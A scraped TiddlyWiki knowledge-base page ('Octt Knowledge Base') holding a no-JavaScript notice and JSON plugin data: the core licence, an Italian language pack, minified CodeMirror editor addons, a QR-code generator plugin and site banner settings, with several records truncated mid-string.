<p>If you're reading this, then your browser isn't executing JavaScript code (properly, or at all).</p><p>If you disabled JS on purpose, you may want to read the <strong>no-JS KB</strong>: <aclass="tc-tiddlylink-external"href="./Static.html"rel="noopener noreferrer"target="_blank">./Static.html</a>;</p><p>If you, instead, don't know why you're seeing this:</p><ul><li><aclass="tc-tiddlylink-external"href="http://web.archive.org/web/20220920042154/https://www.enable-javascript.com"rel="noopener noreferrer"target="_blank">Enable JavaScript</a>, if you have it disabled;</li><li>Update your browser, if it's years out-of-date.</li></ul>
{"title":"$:/core","name":"Core","description":"TiddlyWiki5 core","author":"JeremyRuston","core-version":">=5.0.0","plugin-priority":"0","list":"readme","version":"5.2.3","plugin-type":"plugin","dependents":"","type":"application/json","text":"{\"tiddlers\":{\"$:/Acknowledgements\":{\"title\":\"$:/Acknowledgements\",\"text\":\"TiddlyWiki incorporates code from these fine OpenSource projects:\\n\\n* [[The Stanford Javascript Crypto Library|http://bitwiseshiftleft.github.io/sjcl/]]\\n* [[The Jasmine JavaScript Test Framework|http://pivotal.github.io/jasmine/]]\\n* [[Normalize.css by Nicolas Gallagher|http://necolas.github.io/normalize.css/]]\\n\\nAnd media from these projects:\\n\\n* World flag icons from [[Wikipedia|http://commons.wikimedia.org/wiki/Category:SVG_flags_by_country]]\\n\"},\"$:/core/copyright.txt\":{\"title\":\"$:/core/copyright.txt\",\"type\":\"text/plain\",\"text\":\"TiddlyWiki created by Jeremy Ruston, (jeremy [at] jermolene [dot] com)\\n\\nCopyright (c) 2004-2007, Jeremy Ruston\\nCopyright (c) 2007-2022, UnaMesa Association\\nAll rights reserved.\\n\\nRedistribution and use in source and binary forms, with or without\\nmodification, are permitted provided that the following conditions are met:\\n\\n* Redistributions of source code must retain the above copyright notice, this\\n list of conditions and the following disclaimer.\\n\\n* Redistributions in binary form must reproduce the above copyright notice,\\n this list of conditions and the following disclaimer in the documentation\\n and/or other materials provided with the distribution.\\n\\n* Neither the name of the copyright holder nor the names of its\\n contributors may be used to endorse or promote products derived from\\n this software without specific prior written permission.\\n\\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 'AS IS'\\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\\nFOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\\nDAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\\nSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\\nCAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\\nOR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\"},\"$:/core/icon\":{\"title\":\"$:/core/icon\",\"tags\":\"$:/tags/Image\",\"text\":\"\u003Csvg width=\\\"22pt\\\" height=\\\"22pt\\\" viewBox=\\\"0 0 128 128\\\">\u003Cpath d=\\\"M64 0l54.56 32v64L64 128 9.44 96V32L64 0zm21.127 95.408c-3.578-.103-5.15-.094-6.974-3.152l-1.42.042c-1.653-.075-.964-.04-2.067-.097-1.844-.07-1.548-1.86-1.873-2.8-.52-3.202.687-6.43.65-9.632-.014-1.14-1.593-5.17-2.157-6.61-1.768.34-3.546.406-5.34.497-4.134-.01-8.24-.527-12.317-1.183-.8 3.35-3.16 8.036-1.21 11.44 2.37 3.52 4.03 4.495 6.61 4.707 2.572.212 3.16 3.18 2.53 4.242-.55.73-1.52.864-2.346 1.04l-1.65.08c-1.296-.046-2.455-.404-3.61-.955-1.93-1.097-3.925-3.383-5.406-5.024.345.658.55 1.938.24 2.53-.878 1.27-4.665 1.26-6.4.47-1.97-.89-6.73-7.162-7.468-11.86 1.96-3.78 4.812-7.07 6.255-11.186-3.146-2.05-4.83-5.384-4.61-9.16l.08-.44c-3.097.59-1.49.37-4.82.628-10.608-.032-19.935-7.37-14.68-18.774.34-.673.664-1.287 1.243-.994.466.237.4 1.18.166 2.227-3.005 13.627 11.67 13.732 20.69 11.21.89-.25 2.67-1.936 3.905-2.495 2.016-.91 4.205-1.282 6.376-1.55 5.4-.63 11.893 2.276 15.19 2.37 3.3.096 7.99-.805 10.87-.615 2.09.098 4.143.483 6.16 1.03 1.306-6.49 1.4-11.27 4.492-12.38 1.814.293 3.213 2.818 4.25 4.167 2.112-.086 4.12.46 6.115 1.066 3.61-.522 6.642-2.593 9.833-4.203-3.234 2.69-3.673 7.075-3.303 11.127.138 2.103-.444 4.386-1.164 6.54-1.348 3.507-3.95 7.204-6.97 7.014-1.14-.036-1.805-.695-2.653-1.4-.164 1.427-.81 2.7-1.434 3.96-1.44 2.797-5.203 4.03-8.687 7.016-3.484 2.985 1.114 13.65 2.23 15.594 1.114 1.94 4.226 2.652 3.02 4.406-.3
{"created":"20220920140954764","text":"\u003C!-- For search engines, and people without JavaScript --->\n \nIf you're reading this, then your browser isn't executing JavaScript code (properly, or at all).\n\nIf you disabled JS on purpose, you may want to read the ''no-JS KB'': [ext[./Static.html]];\n\nIf you, instead, don't know why you're seeing this:\n\n* [[Enable JavaScript|http://web.archive.org/web/20220920042154/https://www.enable-javascript.com]], if you have it disabled;\n* Update your browser, if it's years out-of-date.\n\n\u003C!--\n\u003Cbr>\u003Chr>\u003Cbr>\n\n//The following is a preview of the Welcome Page.//\n\n{{~Welcome~}}\n--->\n\n\u003C!-- Old template\nThis [[TiddlyWiki|https://tiddlywiki.com]] contains the following tiddlers:\n\n\u003Cul>\n\u003C$list filter=\u003C\u003CsaveTiddlerFilter>>>\n\u003Cli>\u003C$view field=\"title\" format=\"text\">\u003C/$view>\u003C/li>\n\u003C/$list>\n\u003C/ul>\n--->","title":"$:/core/templates/static.content","modified":"20220924193531494"},
{"title":"$:/languages/it-IT","name":"it-IT","plugin-type":"language","description":"Italian (Italy)","author":"MaurizioPollio","core-version":">=5.0.8","version":"5.2.3","dependents":"","type":"application/json","text":"{\"tiddlers\":{\"$:/language/Buttons/AdvancedSearch/Caption\":{\"title\":\"$:/language/Buttons/AdvancedSearch/Caption\",\"text\":\"Ricerca avanzata\"},\"$:/language/Buttons/AdvancedSearch/Hint\":{\"title\":\"$:/language/Buttons/AdvancedSearch/Hint\",\"text\":\"Ricerca avanzata\"},\"$:/language/Buttons/Cancel/Caption\":{\"title\":\"$:/language/Buttons/Cancel/Caption\",\"text\":\"Annulla\"},\"$:/language/Buttons/Cancel/Hint\":{\"title\":\"$:/language/Buttons/Cancel/Hint\",\"text\":\"Annulla i cambiamenti a questo frammento\"},\"$:/language/Buttons/Clone/Caption\":{\"title\":\"$:/language/Buttons/Clone/Caption\",\"text\":\"Clona\"},\"$:/language/Buttons/Clone/Hint\":{\"title\":\"$:/language/Buttons/Clone/Hint\",\"text\":\"Clona questo frammento\"},\"$:/language/Buttons/Close/Caption\":{\"title\":\"$:/language/Buttons/Close/Caption\",\"text\":\"Chiudi\"},\"$:/language/Buttons/Close/Hint\":{\"title\":\"$:/language/Buttons/Close/Hint\",\"text\":\"Chiudi questo frammento\"},\"$:/language/Buttons/CloseAll/Caption\":{\"title\":\"$:/language/Buttons/CloseAll/Caption\",\"text\":\"Chiudi tutti\"},\"$:/language/Buttons/CloseAll/Hint\":{\"title\":\"$:/language/Buttons/CloseAll/Hint\",\"text\":\"Chiudi tutti i frammenti\"},\"$:/language/Buttons/CloseOthers/Caption\":{\"title\":\"$:/language/Buttons/CloseOthers/Caption\",\"text\":\"Chiudi altri\"},\"$:/language/Buttons/CloseOthers/Hint\":{\"title\":\"$:/language/Buttons/CloseOthers/Hint\",\"text\":\"Chiudi gli altri frammenti\"},\"$:/language/Buttons/ControlPanel/Caption\":{\"title\":\"$:/language/Buttons/ControlPanel/Caption\",\"text\":\"Pannello di controllo\"},\"$:/language/Buttons/ControlPanel/Hint\":{\"title\":\"$:/language/Buttons/ControlPanel/Hint\",\"text\":\"Apri il pannello di controllo\"},\"$:/language/Buttons/Delete/Caption\":{\"title\":\"$:/language/Buttons/Delete/Caption\",\"text\":\"Elimina\"},\"$:/language/Buttons/Delete/Hint\":{\"title\":\"$:/language/Buttons/Delete/Hint\",\"text\":\"Elimina questo frammento\"},\"$:/language/Buttons/Edit/Caption\":{\"title\":\"$:/language/Buttons/Edit/Caption\",\"text\":\"Modifica\"},\"$:/language/Buttons/Edit/Hint\":{\"title\":\"$:/language/Buttons/Edit/Hint\",\"text\":\"Modifica questo frammento\"},\"$:/language/Buttons/Encryption/Caption\":{\"title\":\"$:/language/Buttons/Encryption/Caption\",\"text\":\"Cifratura\"},\"$:/language/Buttons/Encryption/ClearPassword/Caption\":{\"title\":\"$:/language/Buttons/Encryption/ClearPassword/Caption\",\"text\":\"Rimuovi password\"},\"$:/language/Buttons/Encryption/ClearPassword/Hint\":{\"title\":\"$:/language/Buttons/Encryption/ClearPassword/Hint\",\"text\":\"Rimuovi la password e salva questo wiki senza cifrarlo\"},\"$:/language/Buttons/Encryption/Hint\":{\"title\":\"$:/language/Buttons/Encryption/Hint\",\"text\":\"Imposta o rimuovi la password per salvare questo wiki\"},\"$:/language/Buttons/Encryption/SetPassword/Caption\":{\"title\":\"$:/language/Buttons/Encryption/SetPassword/Caption\",\"text\":\"Imposta password\"},\"$:/language/Buttons/Encryption/SetPassword/Hint\":{\"title\":\"$:/language/Buttons/Encryption/SetPassword/Hint\",\"text\":\"Imposta una password per salvare questo wiki con cifratura\"},\"$:/language/Buttons/ExportPage/Caption\":{\"title\":\"$:/language/Buttons/ExportPage/Caption\",\"text\":\"Esporta tutti\"},\"$:/language/Buttons/ExportPage/Hint\":{\"title\":\"$:/language/Buttons/ExportPage/Hint\",\"text\":\"Esporta tutti i frammenti\"},\"$:/language/Buttons/ExportTiddler/Caption\":{\"title\":\"$:/language/Buttons/ExportTiddler/Caption\",\"text\":\"Esporta frammento\"},\"$:/language/Buttons/ExportTiddler/Hint\":{\"title\":\"$:/language/Buttons/ExportTiddler/Hint\",\"text\":\"Esporta questo frammento\"},\"$:/language/Buttons/ExportTiddlers/Caption\":{\"title\":\"$:/language/Buttons/ExportTiddlers/Caption\",\"text\":\"Esporta i frammenti\"},\"$:/language/Button
{"title":"$:/plugins/tiddlywiki/codemirror-autocomplete","name":"CodeMirror Autocomplete","description":"Autocompletion for CodeMirror","parent-plugin":"$:/plugins/tiddlywiki/codemirror","dependents":"$:/plugins/tiddlywiki/codemirror-mode-css","list":"readme","version":"5.2.3","plugin-type":"plugin","type":"application/json","text":"{\"tiddlers\":{\"$:/config/codemirror/autocomplete\":{\"title\":\"$:/config/codemirror/autocomplete\",\"extend\":\"extraKeys\",\"type\":\"json\",\"text\":\"{\\n\\t\\\"Ctrl-Space\\\": \\\"autocomplete\\\"\\n}\"},\"$:/plugins/tiddlywiki/codemirror/addon/hint/anyword-hint.js\":{\"text\":\"// CodeMirror, copyright (c) by Marijn Haverbeke and others\\n// Distributed under an MIT license: https://codemirror.net/LICENSE\\n!function(e){\\\"object\\\"==typeof exports&&\\\"object\\\"==typeof module?e(require(\\\"../../lib/codemirror\\\")):\\\"function\\\"==typeof define&&define.amd?define([\\\"../../lib/codemirror\\\"],e):e(CodeMirror)}(function(y){\\\"use strict\\\";var b=/[\\\\w$]+/;y.registerHelper(\\\"hint\\\",\\\"anyword\\\",function(e,r){for(var t=r&&r.word||b,o=r&&r.range||500,i=e.getCursor(),n=e.getLine(i.line),f=i.ch,s=f;s&&t.test(n.charAt(s-1));)--s;for(var a=s!=f&&n.slice(s,f),c=r&&r.list||[],l={},d=new RegExp(t.source,\\\"g\\\"),u=-1;u\u003C=1;u+=2)for(var p=i.line,g=Math.min(Math.max(p+u*o,e.firstLine()),e.lastLine())+u;p!=g;p+=u)for(var h,m=e.getLine(p);h=d.exec(m);)p==i.line&&h[0]===a||a&&0!=h[0].lastIndexOf(a,0)||Object.prototype.hasOwnProperty.call(l,h[0])||(l[h[0]]=!0,c.push(h[0]));return{list:c,from:y.Pos(i.line,s),to:y.Pos(i.line,f)}})});\\n\",\"type\":\"application/javascript\",\"title\":\"$:/plugins/tiddlywiki/codemirror/addon/hint/anyword-hint.js\",\"module-type\":\"codemirror\"},\"$:/plugins/tiddlywiki/codemirror/addon/hint/css-hint.js\":{\"text\":\"// CodeMirror, copyright (c) by Marijn Haverbeke and others\\n// Distributed under an MIT license: https://codemirror.net/LICENSE\\n!function(e){\\\"object\\\"==typeof exports&&\\\"object\\\"==typeof module?e(require(\\\"../../lib/codemirror\\\"),require(\\\"../../mode/css/css\\\")):\\\"function\\\"==typeof define&&define.amd?define([\\\"../../lib/codemirror\\\",\\\"../../mode/css/css\\\"],e):e(CodeMirror)}(function(f){\\\"use strict\\\";var p={active:1,after:1,before:1,checked:1,default:1,disabled:1,empty:1,enabled:1,\\\"first-child\\\":1,\\\"first-letter\\\":1,\\\"first-line\\\":1,\\\"first-of-type\\\":1,focus:1,hover:1,\\\"in-range\\\":1,indeterminate:1,invalid:1,lang:1,\\\"last-child\\\":1,\\\"last-of-type\\\":1,link:1,not:1,\\\"nth-child\\\":1,\\\"nth-last-child\\\":1,\\\"nth-last-of-type\\\":1,\\\"nth-of-type\\\":1,\\\"only-of-type\\\":1,\\\"only-child\\\":1,optional:1,\\\"out-of-range\\\":1,placeholder:1,\\\"read-only\\\":1,\\\"read-write\\\":1,required:1,root:1,selection:1,target:1,valid:1,visited:1};f.registerHelper(\\\"hint\\\",\\\"css\\\",function(e){var t=e.getCursor(),r=e.getTokenAt(t),o=f.innerMode(e.getMode(),r.state);if(\\\"css\\\"==o.mode.name){if(\\\"keyword\\\"==r.type&&0==\\\"!important\\\".indexOf(r.string))return{list:[\\\"!important\\\"],from:f.Pos(t.line,r.start),to:f.Pos(t.line,r.end)};var i=r.start,s=t.ch,n=r.string.slice(0,s-i);/[^\\\\w$_-]/.test(n)&&(n=\\\"\\\",i=s=t.ch);var a=f.resolveMode(\\\"text/css\\\"),d=[],l=o.state.state;return\\\"pseudo\\\"==l||\\\"variable-3\\\"==r.type?c(p):\\\"block\\\"==l||\\\"maybeprop\\\"==l?c(a.propertyKeywords):\\\"prop\\\"==l||\\\"parens\\\"==l||\\\"at\\\"==l||\\\"params\\\"==l?(c(a.valueKeywords),c(a.colorKeywords)):\\\"media\\\"!=l&&\\\"media_parens\\\"!=l||(c(a.mediaTypes),c(a.mediaFeatures)),d.length?{list:d,from:f.Pos(t.line,i),to:f.Pos(t.line,s)}:void 0}function c(e){for(var t in e)n&&0!=t.lastIndexOf(n,0)||d.push(t)}})});\\n\",\"type\":\"application/javascript\",\"title\":\"$:/plugins/tiddlywiki/codemirror/addon/hint/css-hint.js\",\"module-type\":\"codemirror\"},\"$:/plugins/tiddlywiki/codemirror/addon/hint/html-hint.js\":{\"text\":\"// CodeMirror, copyright (c) by Marijn Haverbeke and others\\n// Distributed under an MIT license: https://codemirror.net/LICENSE\\n
{"title":"$:/plugins/tiddlywiki/codemirror-closetag","name":"CodeMirror Close Tag","description":"Close tags automatically for CodeMirror","parent-plugin":"$:/plugins/tiddlywiki/codemirror","list":"readme","version":"5.2.3","plugin-type":"plugin","dependents":"","type":"application/json","text":"{\"tiddlers\":{\"$:/config/codemirror/autoCloseTags\":{\"title\":\"$:/config/codemirror/autoCloseTags\",\"type\":\"bool\",\"text\":\"true\\n\"},\"$:/language/codemirror/autoCloseTags/hint\":{\"title\":\"$:/language/codemirror/autoCloseTags/hint\",\"text\":\"Auto-close tags\"},\"$:/language/codemirror/autoCloseTags/info\":{\"title\":\"$:/language/codemirror/autoCloseTags/info\",\"text\":\"Whether or not to automatically close tags\"},\"$:/plugins/tiddlywiki/codemirror/addon/fold/xml-fold.js\":{\"text\":\"// CodeMirror, copyright (c) by Marijn Haverbeke and others\\n// Distributed under an MIT license: https://codemirror.net/LICENSE\\n!function(e){\\\"object\\\"==typeof exports&&\\\"object\\\"==typeof module?e(require(\\\"../../lib/codemirror\\\")):\\\"function\\\"==typeof define&&define.amd?define([\\\"../../lib/codemirror\\\"],e):e(CodeMirror)}(function(e){\\\"use strict\\\";var l=e.Pos;function c(e,n){return e.line-n.line||e.ch-n.ch}var n=\\\"A-Z_a-z\\\\\\\\u00C0-\\\\\\\\u00D6\\\\\\\\u00D8-\\\\\\\\u00F6\\\\\\\\u00F8-\\\\\\\\u02FF\\\\\\\\u0370-\\\\\\\\u037D\\\\\\\\u037F-\\\\\\\\u1FFF\\\\\\\\u200C-\\\\\\\\u200D\\\\\\\\u2070-\\\\\\\\u218F\\\\\\\\u2C00-\\\\\\\\u2FEF\\\\\\\\u3001-\\\\\\\\uD7FF\\\\\\\\uF900-\\\\\\\\uFDCF\\\\\\\\uFDF0-\\\\\\\\uFFFD\\\",i=new RegExp(\\\"\u003C(/?)([\\\"+n+\\\"][A-Z_a-z\\\\\\\\u00C0-\\\\\\\\u00D6\\\\\\\\u00D8-\\\\\\\\u00F6\\\\\\\\u00F8-\\\\\\\\u02FF\\\\\\\\u0370-\\\\\\\\u037D\\\\\\\\u037F-\\\\\\\\u1FFF\\\\\\\\u200C-\\\\\\\\u200D\\\\\\\\u2070-\\\\\\\\u218F\\\\\\\\u2C00-\\\\\\\\u2FEF\\\\\\\\u3001-\\\\\\\\uD7FF\\\\\\\\uF900-\\\\\\\\uFDCF\\\\\\\\uFDF0-\\\\\\\\uFFFD-:.0-9\\\\\\\\u00B7\\\\\\\\u0300-\\\\\\\\u036F\\\\\\\\u203F-\\\\\\\\u2040]*)\\\",\\\"g\\\");function a(e,n,t,i){this.line=n,this.ch=t,this.cm=e,this.text=e.getLine(n),this.min=i?Math.max(i.from,e.firstLine()):e.firstLine(),this.max=i?Math.min(i.to-1,e.lastLine()):e.lastLine()}function s(e,n){var t=e.cm.getTokenTypeAt(l(e.line,n));return t&&/\\\\btag\\\\b/.test(t)}function r(e){return!(e.line>=e.max)&&(e.ch=0,e.text=e.cm.getLine(++e.line),1)}function h(e){return!(e.line\u003C=e.min)&&(e.text=e.cm.getLine(--e.line),e.ch=e.text.length,1)}function F(e){for(;;){var n=e.text.indexOf(\\\">\\\",e.ch);if(-1==n){if(r(e))continue;return}if(s(e,n+1)){var t=e.text.lastIndexOf(\\\"/\\\",n),i=-1\u003Ct&&!/\\\\S/.test(e.text.slice(t+1,n));return e.ch=n+1,i?\\\"selfClose\\\":\\\"regular\\\"}e.ch=n+1}}function x(e){for(;;){var n=e.ch?e.text.lastIndexOf(\\\"\u003C\\\",e.ch-1):-1;if(-1==n){if(h(e))continue;return}if(s(e,n+1)){i.lastIndex=n,e.ch=n;var t=i.exec(e.text);if(t&&t.index==n)return t}else e.ch=n}}function g(e){for(;;){i.lastIndex=e.ch;var n=i.exec(e.text);if(!n){if(r(e))continue;return}if(s(e,n.index+1))return e.ch=n.index+n[0].length,n;e.ch=n.index+1}}function v(e,n){for(var t=[];;){var i,r=g(e),u=e.line,f=e.ch-(r?r[0].length:0);if(!r||!(i=F(e)))return;if(\\\"selfClose\\\"!=i)if(r[1]){for(var o=t.length-1;0\u003C=o;--o)if(t[o]==r[2]){t.length=o;break}if(o\u003C0&&(!n||n==r[2]))return{tag:r[2],from:l(u,f),to:l(e.line,e.ch)}}else t.push(r[2])}}function d(e,n){for(var t=[];;){var i=function(e){for(;;){var n=e.ch?e.text.lastIndexOf(\\\">\\\",e.ch-1):-1;if(-1==n){if(h(e))continue;return}if(s(e,n+1)){var t=e.text.lastIndexOf(\\\"/\\\",n),i=-1\u003Ct&&!/\\\\S/.test(e.text.slice(t+1,n));return e.ch=n+1,i?\\\"selfClose\\\":\\\"regular\\\"}e.ch=n}}(e);if(!i)return;if(\\\"selfClose\\\"!=i){var r=e.line,u=e.ch,f=x(e);if(!f)return;if(f[1])t.push(f[2]);else{for(var o=t.length-1;0\u003C=o;--o)if(t[o]==f[2]){t.length=o;break}if(o\u003C0&&(!n||n==f[2]))return{tag:f[2],from:l(e.line,e.ch),to:l(r,u)}}}else x(e)}}e.registerHelper(\\\"fold\\\",\\\"xml\\\",function(e,n){for(var t=new a(e,n.line,0);;){var i=g(t);if(!i||t.line!=n.line)return;var r=F(t);if(!r)return;if(!i[1]&&\\\"s
{"title":"$:/plugins/tiddlywiki/codemirror-fullscreen","name":"CodeMirror Fullscreen","description":"Fullscreen editing for CodeMirror","parent-plugin":"$:/plugins/tiddlywiki/codemirror","list":"readme","version":"5.2.3","plugin-type":"plugin","dependents":"","type":"application/json","text":"{\"tiddlers\":{\"$:/config/codemirror/fullscreen\":{\"title\":\"$:/config/codemirror/fullscreen\",\"extend\":\"extraKeys\",\"type\":\"json\",\"text\":\"{\\n\\t\\\"F11\\\": \\\"togglefullscreen\\\"\\n}\"},\"$:/plugins/tiddlywiki/codemirror/addon/fullscreen/fullscreen.js\":{\"text\":\"// CodeMirror, copyright (c) by Marijn Haverbeke and others\\n// Distributed under an MIT license: https://codemirror.net/LICENSE\\n!function(e){\\\"object\\\"==typeof exports&&\\\"object\\\"==typeof module?e(require(\\\"../../lib/codemirror\\\")):\\\"function\\\"==typeof define&&define.amd?define([\\\"../../lib/codemirror\\\"],e):e(CodeMirror)}(function(i){\\\"use strict\\\";i.defineOption(\\\"fullScreen\\\",!1,function(e,t,o){var r,l;o==i.Init&&(o=!1),!o!=!t&&(t?(l=(r=e).getWrapperElement(),r.state.fullScreenRestore={scrollTop:window.pageYOffset,scrollLeft:window.pageXOffset,width:l.style.width,height:l.style.height},l.style.width=\\\"\\\",l.style.height=\\\"auto\\\",l.className+=\\\" CodeMirror-fullscreen\\\",document.documentElement.style.overflow=\\\"hidden\\\",r.refresh()):function(e){var t=e.getWrapperElement();t.className=t.className.replace(/\\\\s*CodeMirror-fullscreen\\\\b/,\\\"\\\"),document.documentElement.style.overflow=\\\"\\\";var o=e.state.fullScreenRestore;t.style.width=o.width,t.style.height=o.height,window.scrollTo(o.scrollLeft,o.scrollTop),e.refresh()}(e))})});\\n\",\"type\":\"application/javascript\",\"title\":\"$:/plugins/tiddlywiki/codemirror/addon/fullscreen/fullscreen.js\",\"module-type\":\"codemirror\"},\"$:/plugins/tiddlywiki/codemirror/addon/fullscreen/fullscreen.css\":{\"text\":\".CodeMirror-fullscreen {\\n position: fixed;\\n top: 0; left: 0; right: 0; bottom: 0;\\n height: auto;\\n z-index: 9;\\n}\\n\",\"type\":\"text/css\",\"title\":\"$:/plugins/tiddlywiki/codemirror/addon/fullscreen/fullscreen.css\",\"tags\":\"[[$:/tags/Stylesheet]]\"},\"$:/plugins/tiddlywiki/codemirror-fullscreen/readme\":{\"title\":\"$:/plugins/tiddlywiki/codemirror-fullscreen/readme\",\"text\":\"This plugin adds a ''Fullscreen editing Mode'' to the [[CodeMirror|http://codemirror.net]] text editor. It needs the latest [[CodeMirror plugin|$:/plugins/tiddlywiki/codemirror]] to be installed\\n\\nPressing ''F11'' with the focus within the editor-textarea will make the editor go fullscreen, pressing ''F11'' again leaves fullscreen-mode\\n\\n\"}}}"},
{"title":"$:/plugins/tiddlywiki/qrcode","name":"QR Code","description":"QR Code generator","author":"Zeno Zeng","list":"readme usage examples license","version":"5.2.3","plugin-type":"plugin","dependents":"","type":"application/json","text":"{\"tiddlers\":{\"$:/plugins/tiddlywiki/qrcode/MakeContactQR\":{\"title\":\"$:/plugins/tiddlywiki/qrcode/MakeContactQR\",\"tags\":\"$:/tags/MakeQR\",\"caption\":\"Contact\",\"text\":\"\\\\define wifi-url()\\nWIFI:wifi name;T:WPA;S:SSID;P:password;\\n\\\\end\\n\\n\\\\define image(firstname,lastname,address,tel,email)\\n\u003Cimg src=\u003C\u003Cmakeqr text:\\\"\\\"\\\"MECARD:N:$lastname$,$firstname$;ADR:$address$;TEL:$tel$;EMAIL:$email$;;\\\"\\\"\\\" size:\\\"350\\\">>/>\\n\\\\end\\n\\n! Enter the contact details\\n\\nFirst name: \u003C$edit-text tiddler=\\\"$:/config/plugins/tiddlywiki/qrcode/contact/firstname\\\" tag=\\\"input\\\" default=\\\"\\\"/>\\n\\nLast name: \u003C$edit-text tiddler=\\\"$:/config/plugins/tiddlywiki/qrcode/contact/lastname\\\" tag=\\\"input\\\" default=\\\"\\\"/>\\n\\nAddress: \u003C$edit-text tiddler=\\\"$:/config/plugins/tiddlywiki/qrcode/contact/address\\\" tag=\\\"input\\\" default=\\\"\\\"/>\\n\\nTelephone: \u003C$edit-text tiddler=\\\"$:/config/plugins/tiddlywiki/qrcode/contact/tel\\\" tag=\\\"input\\\" default=\\\"\\\"/>\\n\\nEmail: \u003C$edit-text tiddler=\\\"$:/config/plugins/tiddlywiki/qrcode/contact/email\\\" tag=\\\"input\\\" default=\\\"\\\"/>\\n\\n! Here is your QR code\\n\\n\u003C$macrocall $name=\\\"image\\\" firstname={{$:/config/plugins/tiddlywiki/qrcode/contact/firstname}} lastname={{$:/config/plugins/tiddlywiki/qrcode/contact/lastname}} address={{$:/config/plugins/tiddlywiki/qrcode/contact/address}} tel={{$:/config/plugins/tiddlywiki/qrcode/contact/tel}} email={{$:/config/plugins/tiddlywiki/qrcode/contact/email}}/>\\n\"},\"$:/plugins/tiddlywiki/qrcode/MakeGenericQR\":{\"title\":\"$:/plugins/tiddlywiki/qrcode/MakeGenericQR\",\"tags\":\"$:/tags/MakeQR\",\"caption\":\"Generic\",\"text\":\"\\\\define image(content)\\n\u003Cimg src=\u003C\u003Cmakeqr text:\\\"\\\"\\\"$content$\\\"\\\"\\\" size:\\\"350\\\">>/>\\n\\\\end\\n\\n! Enter the details\\n\\nYou can also use this form to encode URLs.\\n\\n\u003C$edit-text tiddler=\\\"$:/config/plugins/tiddlywiki/qrcode/generic\\\" default=\\\"\\\" class=\\\"tc-edit-texteditor\\\"/>\\n\\n! Here is your QR code\\n\\n\u003C$macrocall $name=\\\"image\\\" content={{$:/config/plugins/tiddlywiki/qrcode/generic}}/>\\n\"},\"$:/plugins/tiddlywiki/qrcode/MakeWifiQR\":{\"title\":\"$:/plugins/tiddlywiki/qrcode/MakeWifiQR\",\"tags\":\"$:/tags/MakeQR\",\"caption\":\"Wifi\",\"text\":\"\\\\define wifi-url()\\nWIFI:T:WPA;S:SSID;P:password;;\\n\\\\end\\n\\n\\\\define image(network,encryption,ssid,password)\\n\u003Cimg src=\u003C\u003Cmakeqr text:\\\"\\\"\\\"WIFI:T:$encryption$;S:$ssid$;P:$password$;;\\\"\\\"\\\" size:\\\"350\\\">>/>\\n\\\\end\\n\\n! Enter the details of your wifi network\\n\\nEncryption: \u003C$select tiddler=\\\"$:/config/plugins/tiddlywiki/qrcode/wifi/encryption\\\" default=\\\"none\\\">\\n\u003Coption value=\\\"none\\\">None\u003C/option>\\n\u003Coption value=\\\"WEP\\\">WEP\u003C/option>\\n\u003Coption value=\\\"WPA\\\">WPA\u003C/option>\\n\u003Coption value=\\\"WPA2\\\">WPA2\u003C/option>\\n\u003C/$select>\\n\\nSSID: \u003C$edit-text tiddler=\\\"$:/config/plugins/tiddlywiki/qrcode/wifi/ssid\\\" tag=\\\"input\\\" default=\\\"\\\"/>\\n\\nPassword: \u003C$edit-text tiddler=\\\"$:/config/plugins/tiddlywiki/qrcode/wifi/password\\\" tag=\\\"input\\\" default=\\\"\\\"/>\\n\\n! Here is your QR code\\n\\n\u003C$macrocall $name=\\\"image\\\" network={{$:/config/plugins/tiddlywiki/qrcode/wifi/network}} encryption={{$:/config/plugins/tiddlywiki/qrcode/wifi/encryption}} ssid={{$:/config/plugins/tiddlywiki/qrcode/wifi/ssid}} password={{$:/config/plugins/tiddlywiki/qrcode/wifi/password}}/>\\n\"},\"$:/plugins/tiddlywiki/qrcode/ViewToolbarButton\":{\"title\":\"$:/plugins/tiddlywiki/qrcode/ViewToolbarButton\",\"tags\":\"$:/tags/ViewToolbar\",\"list-before\":\"$:/core/ui/Buttons/close\",\"caption\":\"{{$:/plugins/tiddly
{"created":"20220920084517972","text":"Octt Knowledge Base || Powered by [[TiddlyWiki|TiddlyWiki:en]].// Static version available at [ext[./Static.html]].//","title":"$:/SiteSubtitle","modified":"20220925142633142"},
{"created":"20220920211944968","text":"\u003Cdiv style=\"Padding-Left:16px; Padding-Right:16px;\">\n\u003Ch1 class=\"tc-site-title\">\n\u003Ca class=\"tc-tiddlylink tc-tiddlylink-missing\" >OcttKB\u003C/a>\n\u003C/h1>\n\u003Cdiv class=\"tc-site-subtitle\">\nOctt Knowledge Base || Powered by [[TiddlyWiki|TiddlyWiki:en]].\u003C/div>\n\u003Cp>\n\u003Cb>Note\u003C/b>: You're viewing the no-JS version of this site, some features will be missing. For the best experience, \u003Ca href=\"./\">load the full version\u003C/a>.\n\u003C/p>\n\u003C/div>","tags":"","title":"$:/StaticBanner","modified":"20220925153532518"},
